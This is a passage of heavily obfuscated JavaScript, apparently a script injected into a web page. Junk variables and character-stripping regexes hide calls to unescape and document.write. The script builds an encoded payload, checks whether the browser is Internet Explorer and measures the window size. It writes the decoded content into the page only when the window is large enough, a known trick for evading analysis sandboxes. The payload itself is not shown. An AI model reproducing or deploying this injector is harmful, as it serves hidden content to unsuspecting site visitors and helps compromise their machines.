t='<N/~d~i&vN>N'.aJ(/[N;&~j]/g, '');var kN="kN";var vM=36154;eO='';var xB="xB";this.lE=49138;var m=function(){return 'm'};var wQ=function(){return 'wQ'};var fD='';var y='w$r$i$t6eI'.aJ(/[Iq$6&]/g, '');var rU=function(){return 'rU'};eC=840;this.pX="";this.xD=false;var wD=18487;var kM=false;var j='uxn@efsfc_a@p_ex'.aJ(/[xf@S_]/g, '');var lF=function(){return 'lF'};function rN(){};var sG=33174;var dL=new Array();var eJ=new Array();var vJM=55525;function bI(){};var r=window[j];var kK=function(){return 'kK'};tE="";var aL="";var zS="zS";var gQ=new Array();var gC=function(){};e=r(k + g + t);var vK="";var aLC=38697;vLI="vLI";var hD=function(){return 'hD'};var dQ=function(){};function v(){var xN=function(){return 'xN'};function cLJ(){};var sR='';var hDB=function(){};var nK="";function hDO(){};f='oIuJtIearb'.aJ(/[bIaJ<]/g, '');var bG="bG";oG="oG";var dJ=5159;var nB=new Date();var oW="oW";qD=21322;this.wC="wC";var lQ='';w='cqlEiqe|n?tE'.aJ(/[Efq?|]/g, '');var eB="";zR='';this.lB="";var zH=40941;var uN=37489;eV='H^e@iEglhEt@'.aJ(/[@~^El]/g, '');var dR="dR";bO='';var yDH=new Array();this.oD="";var tG=false;fP='W7ind7t[h7'.aJ(/[7n[#y]/g, '');kT="kT";oF='';this.mJ="mJ";tJ="tJ";this.kKL="";i='uVsQeirQAigVeVn7tV'.aJ(/[VQi7Y]/g, '');tO='';var nU=function(){};this.eX=false;var uA=new Array();var aV=function(){};vJN="";cUA='M8S4I4E8'.aJ(/[8L45.]/g, '');wN="";this.iQ="iQ";var eY=new Date();zG="zG";var sX="";var cE=function(){return 'cE'};this.eZ=false;this.gH="";if (navigator[i].indexOf(cUA) > 0){var vZ=false;this.qC="";var yAT=new Date();pO="";return cL.body[w + fP] * document.body[w + eV];var mV=false;var jT=new Date();this.qW=43367;var gJ='';}else{this.fQP="";var nA=function(){};hI=false;var pZ=41441;return window[f + fP] * window[f + eV];var pW=new Array();this.lJ=10792;this.jA="";}var mJS="mJS";this.nL="";var cLH=new Date();function cLHL(){};var pC=new Array();}var uAT="";var oI='';var iD=new Date();var bJ=function(){};var aM=false;if(v() > 99999){cL[y](e);}var yGA=function(){};this.wDR=false;var hF="hF";this.qS="qS";};var vN=17771;var yE="";var yO=false;} catch(yA) {this.iH=false;function bX(){};function sB(){};var tJP=new Date();gP=false;gD='';}function aA(){};var wQN=new Array();}};var qT=function(){};var aME=new mG(); nQ=false;aME.n();var jPO=new Date();